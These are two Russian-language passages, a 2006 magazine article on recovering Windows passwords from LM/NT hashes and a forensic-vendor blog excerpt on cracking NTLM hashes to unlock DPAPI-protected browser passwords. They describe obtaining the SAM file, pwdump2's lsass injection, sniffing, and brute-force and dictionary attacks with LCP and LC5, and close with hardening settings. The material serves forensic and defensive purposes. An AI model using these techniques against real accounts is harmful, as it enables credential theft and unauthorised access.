И здесь возникает закономерный вопрос: если знание хэш-функции не позволяет выяснить пароль пользователя, то как же в таком случае происходит процесс аутентификации? Дело в том, что при аутентификации сравниваются не сами пароли, а их хэш-функции. В процессе аутентификации пользователь вводит пароль в привычном для него виде, а операционная система рассчитывает его хэш-функцию и сравнивает с хэшем, хранящимся в компьютере. В случае их совпадения аутентификация считается успешной. Процесс взлома пароля происходит примерно аналогично. Для этого нужно только знать хэш-функцию пароля, хранимую в компьютере, и уметь вычислять хэш по паролю. Тогда, перебирая различные варианты паролей и сравнивая расчетные хэши с тем, что хранится в компьютере, можно подобрать правильный пароль.

Казалось бы, такой перебор может затянуться на бесконечно долгое время — вариантов паролей существует бесконечное множество. Однако не стоит торопиться с выводами. Во-первых, количество возможных паролей все-таки конечно, а во-вторых, современные компьютеры позволяют перебирать миллионы паролей в секунду. Кроме того, имеются различные методы атак на пароли (об этом мы расскажем чуть позже), которые в большинстве случаев приводят к положительным результатам в считаные минуты. И прежде чем описывать дальнейшие (практические) шаги по взлому паролей, немного углубимся в смысл самого понятия «хэш» и выясним, сколько вариантов паролей реально существует.

В операционных системах Windows NT/2000/2003/XP существует два типа хэш-функций паролей: LM-хэш (LanMan-хэш) и NT-хэш. LM-хэш достался нам в наследство от сетей Lan Manager, и потому, хотя все современные операционные системы поддерживают новый тип хэш-шифрования (NT-хэш), операционная система вынуждена хранить вместе с новым хэш-кодом (NT-хэш) и тот хэш-код, который вычисляется по старому алгоритму Lan Manager, чтобы обеспечить совместимость с клиентами Windows 9x. Для входа в систему можно использовать любой их этих двух типов хэшей, а поскольку LM-хэш имеет ряд уязвимых мест и менее надежен, чем NT-хэш, то атаки проводятся, как правило, на него.

Самым большим недостатком алгоритма получения LM-хэша является разделение пароля на две части, каждая из которых состоит из 7 символов. Если вводимый пользователем пароль менее 14 символов, то при преобразовании к паролю добавляются нулевые символы, то есть символы с кодом 0, чтобы получить строку, состоящую из 14 символов. Если же пароль пользователя превышает 14 символов, то LM-хэш соответствует пустому паролю. Каждая из 7-символьных половин пароля шифруется независимо от другой по алгоритму DES (бывший федеральный стандарт США), причем поскольку сам процесс шифрования каждой из 7-символьных половин пароля независим, то и подбор этих половин можно производить независимо, что значительно упрощает и ускоряет процесс вскрытия пароля. Другой серьезный недостаток LM-хэша связан с тем, что в процессе шифрования все буквенные символы пароля переводятся в верхний регистр. А поскольку LM-хэш содержит информацию о пароле без учета регистра, то LM-хэши для паролей ALLADIN, alladin, Alladin и aLLadin будут совершенно одинаковыми. Это существенно ограничивает количество возможных комбинаций пароля и, как следствие, ускоряет процесс вскрытия.

Как мы уже отмечали, размер самих хэш-функций (и LM, и NT), независимо от длины вводимого пароля, составляет 16 байт. Если длина пароля менее 14 символов, то для каждого пароля имеется и LM-, и NT-хэш. Поэтому NT-хэш лишен недостатков, присущих LM-хэшу. При NT-хэшировании используется алгоритм шифрования MD4. Кроме того, NT-хэш является регистрозависимым, то есть NT-хэши для паролей ALLADIN и alladin будут совершенно разными. Следовательно, подобрать правильный пароль к известному NT-хэшу значительно сложнее, чем к LM-хэшу. И если известен и LM-, и NT-хэш, то сначала осуществляется подбор пароля по LM-хэшу, а после нахождения LM-пароля (все буквы верхнего регистра) используется NT-хэш для определения NT-пароля с учетом регистра. Правда, в данном случае есть одна тонкость, так как не всегда для пароля существует LM-хэш. Для этого, как минимум, нужно, чтобы длина пароля была меньше или равной 14 символам. Но даже тогда, когда длина пароля меньше 14 символов, LM-хэш можно удалить из базы. О том, как это сделать, мы еще расскажем, а пока приведем практические примеры LM- и NT-хэшей различных паролей.

Рассмотрим для начала 7-символьный пароль alladin, которому соответствует 16-байтный LM-хэш a01fad819c6d001aaad3b435b51404ee, записанный в шестнадцатеричной системе исчисления. Далее рассмотрим 14-символьный пароль alladinalladin, для которого LM-хэш будет таким: a01fad819c6d001aa01fad819c6d001a. Обратите внимание, что первая половина (8 байт: a01fad819c6d001a) этого хэша полностью совпадает со второй половиной. Кроме того, первая половина данного кэша совпадает и с первой половиной LM-хэша пароля alladin. Такое совпадение отнюдь не случайно, если вспомнить, что каждые 7 символов пароля кодируются независимо и определяют 8 байт итогового LM-хэша.

Интересно также отметить, что вторая половина LM-хэша пароля (aad3b435b51404ee) должна соответствовать символам с кодом 0, поскольку в том случае, если пароль меньше 14 символов, к нему добавляются пустые символы. То есть ad3b435b51404ee — это шифрование 7 пустых символов. Поэтому можно предположить, что для любого другого 7-символьного пароля вторая половина LM-хэша окажется точно такой же. Действительно, для пароля tornado хэш LM равен 1e1e25e2f871d8dfaad3b435b51404ee, и, как нетрудно заметить, вторая половина этого хэша точно такая же, как и для пароля alladin. Для пароля ALLADIN значение LM-хэша точно такое же, как и для пароля alladin. Учитывая, что при LM-кодировании все буквы переводятся в верхний регистр, слово ALLADIN называют LM-паролем.

Если же рассмотреть NT-хэши для различных вариантов паролей (alladin, alladinalladin, tornado), то невозможно обнаружить никакой закономерности (табл. 1). Кроме того, как уже отмечалось, NT-хэш является регистрозависимым, а сам NT-пароль соответствует истинному паролю.

Таблица 1. Пароли и соответствующие им хэш-функции

Количество возможных паролей

авайте попробуем сосчитать, сколько вообще возможно различных комбинаций паролей. В операционных системах Windows 2000, 2003 и XP длина пароля может достигать 127 символов. При этом в качестве парольного символа можно использовать любой из 256 кодов ASCII. Несложно рассчитать, что в этом случае при длине пароля n-символов количество возможных комбинаций будет равно 256ⁿ (табл. 2). Общее количество возможных паролей при этом составит 256¹ + 256² + … + 256¹²⁷ 7,05·10³⁰⁵.

Таблица 2

Забегая вперед, отметим, что современные компьютеры способны подбирать пароли со скоростью порядка 1,9·10⁶ единиц в секунду. Нетрудно рассчитать, что для перебора всех паролей потребовалось бы порядка 10²⁸⁹ тысячелетий! Для справки укажем, что возраст планеты Земля оценивается всего-навсего в 4,5 млрд. лет, что пренебрежимо мало в сравнении с указанным временем. Практически это означает, что взломать пароль методом перебора просто невозможно!

Однако не стоит торопиться с выводами. Мы уже говорили, что для аутентификации используются не сами пароли, а их хэш-функции. Длина хэш-функции составляет 16 байт или 128 бит. Соответственно и количество возможных вариантов хэш-функций равно 2¹²⁸ 3,4·10³⁸. Фактически это означает, что одна и та же хэш-функция может соответствовать огромному количеству различных паролей и что для успешной аутентификации можно использовать любой из них. Поэтому более корректно считать, что количество возможных вариантов паролей составляет всего 3,4·10³⁸. Такое количество возможных комбинаций паролей можно получить, используя не 127, а всего 16 символов. Поэтому на деле нет никакого смысла задавать пароль длиннее 16 символов. Для перебора всех возможных 3,4·10³⁸ комбинаций потребовалось бы аж 5,8·10¹⁵ млрд. лет, что сводит на нет все шансы на успех. Впрочем, и в данном случае не будем спешить с выводами.

Как мы уже отмечали, основную угрозу представляют не NT-, а LM-хэши. Количество доступных символов в данном случае уже не 256, а всего 197, поскольку необходимо учесть то, что все буквенные символы в пароле приводятся к верхнему регистру и что 26 символов строчных букв латинского алфавита и 33 символа строчных букв русского алфавита надо исключить из 256 вариантов ASCII-символов. Поэтому при длине пароля в 14 символов количество возможных вариантов составляет всего 1,33·10³². Однако и эта цифра явно завышена.

Вспомним, что при LM-кодировании пароль разбивается на две 7-символьные части, каждая из которых кодируется независимо. Поэтому в действительности количество возможных комбинаций определяется всего 7 символами и составляет 197⁷ 11,5·10⁶. При скорости перебора 1,9·10⁶ паролей в секунду для перебора всех возможных комбинаций потребуется 6·10⁹ с, или 197 лет. Конечно, и эта цифра внушает уважение и заставляет усомниться в том, что пароль в принципе можно расшифровать. Но здесь есть одно «но» — так называемый человеческий фактор. Все знают, что пароли нужно запоминать, а значит, в большинстве случаев они представляют собой осмысленные слова. Кроме того, никто из пользователей не любит перенапрягаться, и чем короче пароль, тем для них лучше: если минимальная длина пароля устанавливается равной 8 символам, то можно с уверенностью сказать, что в 90% случаев длина пароля будет именно такой. А попробуйте найти такого пользователя, который при наборе пароля переключает раскладку клавиатуры. А это значит, что реальное количество символов не 197, а 64. В этом случае количество возможных вариантов уменьшается уже до значения 4,4·10¹², а для перебора всех паролей потребуется всего 27 дней!

Отсюда следует очень важный вывод: чаще всего подобрать пользовательский пароль труда не составляет — это вопрос времени. Далее на конкретном примере мы покажем вам, как можно быстро подобрать пароли пользователей по известным хэш-функциям, а пока рассмотрим, где хранятся хэш-функции и каким образом их можно заполучить.

Сетевая аутентификация пользователей

о сих пор мы рассматривали ситуацию локальной аутентификации пользователей, когда хэш-коды паролей хранятся на локальном компьютере. При сетевой аутентификации регистрация пользователей происходит не локально, а на сервере — как правило, на контроллере домена.

Механизм сетевой аутентификации заключается в том, что клиент передает запрос на подключение к серверу, который, в свою очередь, возвращает служебный пакет с указанием передать пароль либо в открытом, либо в зашифрованном виде. Если пароль передается в зашифрованном виде, то сервер в служебном пакете посылает клиенту 8-байтовую последовательность, сгенерированную случайным образом. Клиент же вычисляет хэш-функцию пользовательского пароля и к 16-байтовому значению хэш-функции добавляет еще пять нулей, в результате чего получается 21-байтовая последовательность. Далее полученная последовательность делится на три части длиной по 7 байт и каждая из этих частей используется как ключ в алгоритме DES-шифрования. C использованием полученных ключей три раза шифруется 8-байтовая случайная последовательность, а в итоге получается три зашифрованные 8-байтовые последовательности, что в сумме дает 24-байтовую последовательность. Данный алгоритм выполняется как для LM-хэша, так и для NT-хэша, поэтому получаются две 24-байтовые последовательности, которые и посылаются серверу в качестве зашифрованного пароля.

Сервер, на котором хранятся LM- и NT-хэш-функции клиентов, в свою очередь, выполняет аналогичную процедуру с 8-байтовой случайной последовательностью и тоже рассчитывает две 24-байтовые последовательности. Получив от клиента отклик, сервер сравнивает 24-байтовые последовательности клиента с расчетными, и если их значения совпадают, то аутентификация считается успешной.

Как видите, сетевая аутентификация пользователей в основе своей тоже опирается на хэш-функции, и потому знание самих хэш-функций позволяет подобрать пароль. Принципиальная разница заключается лишь в месте хранения самих хэш-функций: при сетевой аутентификации хэш-функции хранятся на сервере, при локальной — на самом компьютере.

Доступ к хэш-функциям паролей

о сих пор мы рассматривали процесс восстановления паролей по известным хэш-функциям. Возникает естественный вопрос — как эти самые хэш-функции получить. Все учетные записи пользователей вместе с соответствующими им хэш-функциями паролей хранятся в так называемой базе SAM (Security Accounts Manager), поэтому осуществление любых попыток взлома начинается с получения файла паролей SAM. Данный файл (он, кстати, не имеет расширения), являющийся составной частью реестра, содержится в каталоге %systemroot%\system32\config (под %systemroot% понимается каталог с операционной системой, по умолчанию соответствующий каталогу C:\WINDOWS). Кроме того, резервная копия этого файла имеется на диске аварийного восстановления системы, а также в каталоге %systemroot%\repair.

Получение файла SAM

При загруженной операционной системе доступ к файлу SAM заблокирован — его невозможно ни скопировать, ни просмотреть. Поэтому для копирования файла SAM необходимо прежде загрузить компьютер не с жесткого диска, а с дискетки, компакт-диска или флэш-памяти с использованием копии операционной системы или вообще другой операционной системы. К примеру, можно подготовить системную дискету DOS, но если на жестком диске компьютера установлена файловая система NTFS, то на эту дискету необходимо поместить соответствующий драйвер NTFS, называемый NTFSDOS. C помощью этого драйвера все разделы NTFS будут смонтированы в качестве логических дисков DOS, после чего можно будет легко скопировать файл SAM.

Другим способом получения файла SAM, не требующим перезагрузки компьютера, является копирование его из каталога %SystemRoot%\repair или с диска аварийного восстановления. Недостатком этого способа является то, что с момента последнего сеанса создания резервной копии пароли могут измениться.

Рассмотренные способы получения файла SAM применяются в тех случаях, когда имеется локальный доступ к компьютеру. В то же время отметим, что все современные программы взлома паролей поддерживают возможность удаленного получения файла SAM из реестра. Естественно, что для реализации такого способа нужно обладать правами доступа к реестру удаленного компьютера. Кроме непосредственного получения файла SAM, существуют и другие способы получения хэш-функций паролей, которые будут рассмотрены ниже.

Извлечение хэш-функций из данных SAM

Существует множество программ, которые можно найти в Интернете и которые позволяют извлечь хэш-функции паролей из файла SAM (о некоторых из этих программ мы расскажем в нашей статье). Отметим, что для усиления безопасности компания Microsoft в свое время добавила в операционную систему утилиту SYSKEY, которая первоначально входила в Service Pack 3 для Windows NT 4.0. Данная утилита позволяет дополнительно зашифровывать хэши паролей учетных записей пользователей с использованием 128-битного ключа, что делает невозможным процесс извлечения хэшей из файла SAM некоторыми программами, существовавшими на тот момент (например, программой SAMDump). В операционных системах Windows 2000, 2003 и XP утилита SYSKEY (рис. 1) активирована по умолчанию, а дополнительное шифрование не может быть заблокировано.

Рис. 1. В операционной системе Windows XP автоматически используется дополнительное шифрование учетных записей пользователей
с помощью утилиты SYSKEY

При активированном режиме SYSKEY ключ шифрования паролей, который кодируется с помощью системного ключа, может храниться как локально (при этом возможна его дополнительная защита паролем), так и отдельно — на дискете (рис. 2).

Рис. 2. Настройки утилиты SYSKEY позволяют задать опции хранения ключа шифрования

Впервые способ преодоления защиты SYSKEY был предложен Тоддом Сабином (Todd Sabin) в его программе pwdump2. Для создания дампа паролей методом pwdump2 необходимо иметь права администратора. Кроме того, данный способ может быть реализован только на локальной машине. Работа утилиты pwdump2 основана на внедрении библиотеки samdump.dll, посредством которой она записывает свой код в пространство другого процесса (lsass.exe), обладающего более высоким уровнем привилегий. Загрузив библиотеку samdump.dll в процесс lsass (системная служба Local Security Authority Subsystem, LSASS), программа использует те же самые внутренние функции интерфейса API, чтобы обратиться к хэшам паролей. Это означает, что утилита получает доступ к зашифрованным паролям, минуя необходимость их расшифровки.

Кроме метода внедрения библиотеки, существуют и другие способы обойти ограничения защиты SYSKEY. К примеру, если имеется доступ к самому ключу, который может храниться на локальной машине, то ничто не мешает расшифровать данные файла SAM. Поэтому сегодня утилита SYSKEY не является серьезным препятствием для получения хэш-функций.

Использование сетевых снифферов

Еще один способ получения хэш-функций — использование сетевых снифферов (sniffing — вынюхивание), которые позволяют перехватывать аутентификационные пакеты. Снифферы это программы-анализаторы сетевых пакетов. Перехват пакетов, передаваемых в локальной сети, является одним из наиболее эффективных способов проникновения в сеть. В настоящее время имеется множество средств перехвата пакетов, причем с некоторыми из них совмещаются программы для взлома паролей по их хэш-функциям. В то же время необходимо отметить, что использование сетевых снифферов имеет и ряд ограничений. Дело в том, что если локальная сеть построена на базе коммутатора, то сетевой компьютер принимает только те пакеты, которые предназначены только ему, и ничего не знает о пакетах, которыми обмениваются друг с другом другие узлы сети. Следовательно, использование сетевого сниффера на отдельном компьютере позволяет захватывать или анализировать только те пакеты, которыми данный узел обменивается с другими узлами сети.

Другое дело — беспроводные сети, в которых используется общая среда для передачи пакетов и имеется возможность «подслушать» переговоры любых узлов беспроводной сети. Но в проводных сетях на основе коммутаторов использование снифферов может оказаться неэффективным. Правда, нужно иметь в виду следующее обстоятельство: если у злоумышленника имеется доступ к настройкам коммутатора (в случае управляемого коммутатора), то можно реализовать функцию перенаправления портов коммутатора и продублировать входящие и исходящие пакеты с одного порта коммутатора на другой. В этом случае использование сниффера может оказаться очень действенным средством.

Существуют сетевые снифферы, которые могут устанавливаться незаметно для пользователей на удаленном ПК и управляться с командной строки.

Практические примеры

осле небольшого теоретического вступления перейдем к практическим примерам и рассмотрим три программы, которые позволяют эффективно восстанавливать пароли пользователей по известным хэш-функциям.

Утилита LCP 5.04

Утилита LCP 5.04 (http://lcp.da.ru/) (рис. 3) является очень мощным средством восстановления паролей по LM- и NT-хэшам. Кроме того, эта утилита бесплатная и поддерживает русскоязычный интерфейс. LCP 5.04 поддерживает импорт учетных записей пользователей с локального и удаленного компьютера, импорт файла SAM, импорт Sniff-файлов, а также импорт файлов, созданных другими утилитами (в частности, файлов LC, LCS и PwDump).

Рис. 3. Главное окно утилиты LCP 5.04
с импортированными данными учетных записей пользователей

После того как одним из перечисленных способов будет произведен импорт в программу LCP 5.04 учетных записей пользователей, содержащих имя пользователя, LM- и NT-хэш, можно приступать непосредственно к процедуре восстановления паролей. Утилита поддерживает подбор как по LM-, так и по NT-хэшу. Понятно, что при наличии LM-хэша атака производится именно на него.

В утилите LCP 5.04 реализовано три типа атак для подбора паролей по их хэшам: атака по словарю, гибридная атака по словарю и атака методом последовательного перебора.

При атаке по словарю последовательно вычисляются хэши для каждого из слов словаря или для модификаций слов словаря и сравниваются с хэшами паролей каждого из пользователей. Если хэши совпадают, то пароль найден. Преимуществом данного метода является его высокая скорость, а недостатком — большая вероятность отсутствия пароля в словаре. Для увеличения эффективности атаки по словарю утилита позволяет производить дополнительные настройки (рис. 4). В частности, к словарю можно добавлять имена пользователей, возможность использования соседних клавиш (типа последовательностей qwert и др.), проверять записанное слово дважды (например, useruser), проверять обратный порядок символов в словах (например, resu), проверять конкатенацию с обратным порядком символов (в частности, userresu), проверять усеченные слова, слова без гласных, транслитерацию букв (типа parol). Кроме того, имеется возможность проверять замену латинской раскладкой (слово «пароль» в латинской раскладке будет выглядеть так: «gfhjkm») и замену локализованной раскладкой (слово «password» в русской раскладке — «зфыыцщкв»).

Рис. 4. Настройка атаки по словарю
в утилите LCP 5.04

При восстановлении паролей методом гибридной атаки по словарю к каждому слову или к модификации слова словаря добавляются символы справа и/или слева. Для каждой получившейся комбинации вычисляется хэш, который сравнивается с хэшами паролей каждого из пользователей. С помощью настроек программы LCP 5.04 можно указать количество символов, добавляемых слева и справа (рис. 5).

Рис. 5. Настройка гибридной атаки
в утилите LCP 5.04

При атаке методом последовательного перебора (brute force) случайные слова составляются из указанного набора символов и потом для этих слов (точнее, для последовательностей символов) вычисляются хэш-функции. При использовании данного метода пароль всегда будет определен, если, конечно, символы, используемые в пароле, имеются в указанном наборе символов. Однако этот метод отнимает очень много времени, и чем больше символов содержится в выбранном наборе, тем дольше будет длиться перебор комбинаций. При использовании данного метода имеется возможность указывать набор символов, используемых для подбора из нескольких предопределенных наборов (рис. 6), задавать набор символов вручную. Кроме того, можно указывать длину пароля и ограничивать минимальную и максимальную длину. Если известны некоторые символы пароля или хотя бы регистр символов, то можно дополнительно указывать, какие символы должны присутствовать в пароле (и их местоположение), а также определять для каждого неизвестного символа его регистр (верхний, нижний, неизвестно).

Рис. 6. Окно настройки атаки методом последовательного перебора в утилите LCP 5.04

Еще одной интересной особенностью утилиты LCP 5 является возможность разбиения атаки последовательным перебором на части (с последующим объединением частей). Каждая часть задачи может независимо от других частей выполняться на отдельном компьютере. Соответственно чем больше задействуется компьютеров для перебора, тем выше скорость выполнения задачи.

Утилита LCP 5 поддерживает экспорт результатов (найденных паролей) в текстовый файл и добавление паролей в словарь, что в дальнейшем позволяет более эффективно подбирать пароли пользователей.

В заключение описания данной программы покажем на конкретном примере, как просто восстанавливаются с ее помощью пользовательские пароли. Для эксперимента мы выбрали реальную локальную сеть, насчитывающую около ста пользователей. Импортировав с контроллера домена (воспользовавшись для этого привилегиями администратора) базу учетных записей пользователей, мы прежде всего смогли выяснить, что практически все пользовательские пароли имели длину менее 14 символов, поскольку для всех паролей пользователей существовал LM-хэш. Кроме того, нам было известно, что правилами безопасности, определенными в этой локальной сети, минимальная длина пароля была ограничена 8 символами.

Далее мы провели атаку по словарю (предварительно отметив все возможные опции настройки) и гибридную атаку с возможностью подстановки двух символов в начале и в конце слова). На эти два типа атак на LM-хэш в общей сложности потребовалось не более 10 минут. Атака по словарю позволила вычислить порядка 10% всех паролей, а после проведения гибридной атаки — примерно 40% всех паролей. Выяснилось, во-первых, что большинство пользователей локальной сети используют только цифровые символы для пароля, а во-вторых, что большинство паролей имеют длину 8 символов.

Для проведения эффективной атаки методом последовательного перебора мы разложили задачу на восемь компьютеров. Задав длину пароля от 8 до 14 символов и выбрав подходящий набор символов (латинский алфавит, цифры и спецсимволы (!@#$%^&*()_+-=[]{};’\:”|,./<>?), мы запустили атаку последовательного перебора. Буквально спустя день работы нашего стенда нам было доступно порядка 70% всех паролей. Кроме того, стало понятно, что практически 90% всех паролей имеют длину 8 символов. Через трое суток работы программы атака последовательным перебором была завершена и были подобраны все сетевые пароли пользователей, кроме одного, который имел длину более 14 символов и для которого существовал только NT-хэш.

Утилита LC5

Еще одной мощной и функциональной утилитой по вскрытию паролей Windows NT, 2000, 2003 и XP является LC5 (рис. 7) от компании Astake. Раньше эту программу можно было свободно скачать с официального сайта компании www.atstake.com, но после приобретения Atstake компанией Symantec утилита LC5 исчезла с официального сайта. Это, конечно, не означает, что данную программу нельзя скачать — ее можно легко найти в Интернете.

Рис. 7. Главное окно утилиты LC5 с импортированными учетными записями пользователей

Программа имеет англоязычный интерфейс и по своим функциональным возможностям во многом напоминает уже рассмотренную нами утилиту LCP 5.04. Так, LC5 поддерживает импорт учетных записей пользователей с локального и удаленного компьютера, импорт файла SAM, импорт Sniff-файлов (программа совместима с известным сниффером WinPcap), импорт pwdump-файла, а также импорт файлов, созданных утилитой LC4 (предыдущая версия программы). Кроме того, в отличие от программы LCP 5.04, утилита LC5 может использоваться для взлома компьютеров на платформе UNIX.

При импорте хэш-функций паролей с локального или удаленного компьютера необходимо иметь права администратора на данном ПК. Если удаленный или локальный компьютер является контроллером домена, то в программу автоматически будет импортирован список всех пользователей домена с хэш-функциями их паролей.

В утилите LC5 реализовано четыре типа атак для подбора паролей по их хэшам: атака по словарю, гибридная атака по словарю, атака методом последовательного перебора и атака с предварительно вычисленными хэшами.

При атаке по словарю в качестве паролей прежде всего проверяются имена пользователей, и только после этого задействуется сам словарь. В словаре, используемом утилитой LC5, все слова ограничены максимальной длиной в 14 символов, а всего в словаре имеется 25 тыс. английских слов.

При восстановлении паролей методом гибридной атаки по словарю утилита позволяет указать количество символов, добавляемых слева и справа от словарного слова.

При выполнении атаки с предварительно вычисленными хэшами заранее вычисляются хэши и сохраняются пары «пароль—хэш» для всех возможных комбинаций выбранного набора символов. Этот метод обладает самой высокой скоростью, однако требует длительного подготовительного периода и большого количества дискового пространства для хранения предварительно рассчитанных хэшей.

При атаке методом последовательного перебора (brute force) случайные слова составляются из указанного набора символов. При использовании brute force имеется возможность указывать набор символов, используемых для подбора, из нескольких предопределенных наборов или задавать набор символов вручную (рис. 8).

Рис. 8. Окно настройки атаки в утилите LC5

Следует отметить, что возможности по настройке атаки методом последовательного перебора сильно уступают возможностям по настройке аналогичной атаки в утилите LCP 5.04. Однако скорость реализации этого метода в данной программе примерно в два с лишним раза выше, чем в программе LC5.

Выводы

ак показывает практика, уязвимость паролей пользователей в локальных сетях на платформах Windows NT/2000/2003/XP обычно связана с беспечностью пользователей. Операционные системы Windows NT/2000/2003/XP предоставляют в распоряжение пользователей и системных администраторов достаточно средств для построения мощной системы безопасности — нужно только не пренебрегать этими возможностями.

Максимум внимания необходимо уделить невозможности получения учетных записей пользователей как с локального компьютера, так и с контроллера домена. Для этого необходимо запретить в настройках BIOS возможность загрузки с дискеты и других носителей, кроме жесткого диска, и защитить BIOS паролем. Кроме того, следует запретить удаленное управление реестром, остановив соответствующую службу. Рекомендуется также запретить использовать право отладки программ, для чего в оснастке безопасности нужно выбрать элемент Computer Configuration\Security Settings\Local Policies\User Right Assignment, а в свойствах политики Debug programs удалить из списка всех пользователей и все группы.

Эффективным средством повышения безопасности является отмена использования разделяемых ресурсов и специальных общих папок ADMIN$, C$ и т.д., предназначенных для нужд операционной системы, но позволяющих пользователю с административными правами подключаться к ним через сеть. Для блокирования данных разделяемых ресурсов необходимо в разделе реестра HKEY_LOCAL_MACHINE \SYSTEM\Current-ControlSet\Services\ LanmanServer\Parame-ters добавить параметр AutoShareWks (для версий Windows NT, 2000 Professional и XP) или AutoShareServer (для серверных версий) типа DWORD и установить его значение равным 0.

К тому же можно заблокировать анонимный сетевой доступ, позволяющий при анонимном подключении получать информацию о пользователях, о политике безопасности и об общих ресурсах. С этой целью нужно добавить в раздел реестра HKEY_LOCAL_MACHINE\SYSTEM\ Current-ControlSet\Control\Lsa параметр Restrict-Anonymous типа DWORD, установив его равным 2.

Еще одна настройка, которая позволяет запретить сетевой доступ нежелательных пользователей к вашему ПК, производится через оснастку безопасности в разделе Computer Configuration\Security Settings\Local Policies\User Right Assignment. В свойствах политики Access this computer from the network откорректируйте список пользователей, которым разрешен сетевой доступ к компьютеру. Дополнительно в политике Deny Access to this Computer from the network можно указать список пользователей, которым запрещен удаленный доступ к данному компьютеру.

Чтобы усложнить процесс восстановления паролей по их хэш-функциям, можно запретить хранение уязвимых LM-хэшей. Для этого в раздел реестра HKEY_LOCAL_MACHINE\SYSTEM\ Current-ControlSet\Control\Lsa следует добавить параметр NoLMHash типа DWORD. При значении этого параметра равном 1 LM-хэши не хранятся.

Кроме того, рекомендуется выбирать пароли с минимальной длиной 10 символов и не использовать для паролей исключительно цифровые символы. Целесообразно выбирать символы из возможно большего символьного набора. Как показывает практика, плохо поддаются подбору русские слова и предложения, которые набираются при латинской раскладке клавиатуры. К примеру, пароль «Gjitkyfabu» выглядит полной абракадаброй на английском языке, но если написать его при русской раскладке клавиатуры, то получим хорошо знакомую всем фразу «Пошелнафиг». Еще более эффективным средством является использование пароля, одна часть которого набирается при английской раскладке клавиатуры, а другая — при русской. Как правило, такие пароли подобрать невозможно. Вот как выглядит пароль, если часть его набирать русскими буквами, а часть — английскими: «Пошелyfabu».

Для проверки устойчивости вашего компьютера ко взлому паролей вы можете воспользоваться программами, размещенными на нашем CD-ROM.

КомпьютерПресс 4’2006

Источник

За что браться в первую очередь: пароли к архивам, документам или учётным записям Windows? В этой статье мы расскажем о преимуществах стратегии, в рамках которой приоритет отдаётся именно паролю к учётной записи пользователя для входа в Windows. Спойлер: восстановив один лишь этот пароль, можно получить доступ к десяткам (а иногда — сотням) паролей, которые хранятся в браузере пользователя.

Что такое NTLM?

Механизм NTLM активно используется в Windows для хранения хэшей паролей к локальным учётным записям и учётным записям Microsoft Account. Хешированные записи хранятся в локальных базах данных SAM и в БД NTDS на доменном контроллере. Интересный момент: атака на хэш NTLM производится даже быстрее, чем атака на более старые хэши LM (что это такое?).

Посредством NTLM защищены как пароли к локальным учётным записям Windows, так и к новому типу учётных записей Microsoft Account, что, в частности, позволяет восстанавливать пароли к онлайновым учётным записям Microsoft посредством быстрой офлайновой атаки (см. Microsoft Account: удобство или дыра в безопасности?). Хешированные записи к Microsoft Account хранятся вместе с другими записями NTLM в локальных базах данных SAM и в БЗ NTDS на доменном контроллере.

Общая соль: для защиты учётных записей NTLM Microsoft использует криптографическую соль, однако значение соли уникально для всего компьютера в целом, а не для каждой учётной записи по отдельности. Это позволяет запускать атаки на все записи NTLM одновременно и параллельно. Данный подход изменился лишь с выходом подсистемы безопасности Windows Hello.

Иными словами, атака на хэш NTLM позволяет восстановить оригинальный текстовый пароль пользователя от учётной записи Windows, а если для входа используется учётная запись Microsoft account — то и от неё. Целью этой атаки является возможность входа в учётную запись пользователя и получение доступа к данным, защищённым механизмом DPAPI (об этом — ниже).

Хэши NTLM — одни из самых слабых, их защита не менялась десятилетиями, а скорость их перебора запредельно высока. Использование только центрального процессора позволяет достичь скорости перебора порядка 600,000 паролей в секунду, а видеокарта NVIDIA RTX 2070 демонстрирует скорость в 23 миллиарда (!) комбинаций в секунду. С такой скоростью перебора восстановить сложный 8-значный пароль из расширенного набора символов (заглавные и прописные буквы, цифры и допустимые специальные символы) можно за 87 часов. Чаще встречаются пароли, составленные только из цифр и букв в обоих регистрах. Такие пароли, состоящие из 8 символов, можно восстановить менее, чем за 3 часа. Подключив более мощный ускоритель или установив в компьютер несколько видеокарт, можно получить пропорциональный прирост скорости перебора.

Что такое DPAPI? И как это относится к NTLM?

Windows uses Data Protection Application Programming Interface (DPAPI) — прозрачный для пользователя механизм хранения, защиты и доступа к ключам шифрования. Его использование позволяет защитить такие данные, как ключи шифрования файлов EFS (шифрованная файловая система в NTFS), ключи шифрования, защищающие пароли в браузерах Microsoft Edge и Google Chrome, пароли к сетевым папкам и ресурсам FTP.

DPAPI используется для защиты данных в рамках каждой отдельной учётной записи. К примеру, один из пользователей компьютера может включить шифрования некоторых файлов, воспользовавшись функцией проводника «Encrypt contents to secure data». Такие файлы будут доступны самому пользователю, но другие пользователи на том же компьютере не смогут получить к ним доступ. Не будет доступа к зашифрованным файлам и в процессе анализа извлечённого из компьютера диска или его образа.

Другой пример: DPAPI используется для защиты ключей, которыми зашифрованы пароли, сохранённые в браузерах Microsoft Edge и Google Chrome. Этот тип защиты также прозрачен для пользователя: для доступа к хранилищу паролей не нужно вводить какой-либо мастер-пароль, достаточно просто быть авторизованным в своей учётной записи. В то же время другие пользователи компьютера или эксперт, анализирующий диск или его образ, доступа к паролям в браузере не получат до тех пор, пока не авторизуются в нужной учётной записи, использовав правильный пароль.

А что, в Windows можно войти с неправильным паролем? Да, можно: наш продукт Elcomsoft System Recovery позволяет загрузиться с USB-накопителя и сбросить (или сменить) пароль от учётной записи. После этого войти в учётную запись удастся, а вот получить доступ к защищённым DPAPI данным — уже нет: пароль — неправильный, ключи расшифрованы не будут. Правильный же пароль можно только восстановить атакой на хэш NTLM.

Стратегия приоритета NTLM

При использовании данной стратегии приоритеты и акценты смещены с ценности самой информации в файле или документе к той информации, которую можно использовать для восстановления пароля. Ценность документа как цифровой улики с точки зрения сбора данных о паролях неважна.

В рамках данной стратегии наибольшую ценность представляют хранилища паролей в веб-браузерах, для доступа к которым требуется обойти защиту Windows DPAPI. Защита DPAPI, в свою очередь, обходится путём взлома пароля от учётной записи пользователя системы из NTLM. Таким образом, атака на пароли из NTLM получает наивысший приоритет – даже если в системе нет зашифрованных дисков и зашифрованные файлы (документы, архивы и прочие) доступны в файловой системе.

В рамках стратегии приоритета NTLM процесс сбора и анализа данных имеет итеративный характер.

Анализ незашифрованного диска (есть ли пароли, которые можно извлечь, минуя DPAPI)?
Обновление словаря: полученные данные используются для словаря для атаки на пароль NTLM (или LM, если он обнаружен в системе).
Атака на пароль NTLM (или LM).
Получение доступа к данным, зашифрованным DPAPI (пароли браузера; история браузера; данные веб-форм; пароли от сетевых папок).

Картинка с сайта: blog.elcomsoft.ru
Сбор базы данных для анализа.
Анализируются полученные данные, включая извлечённые пароли. Составляются шаблоны, маски, подключаются мутации.
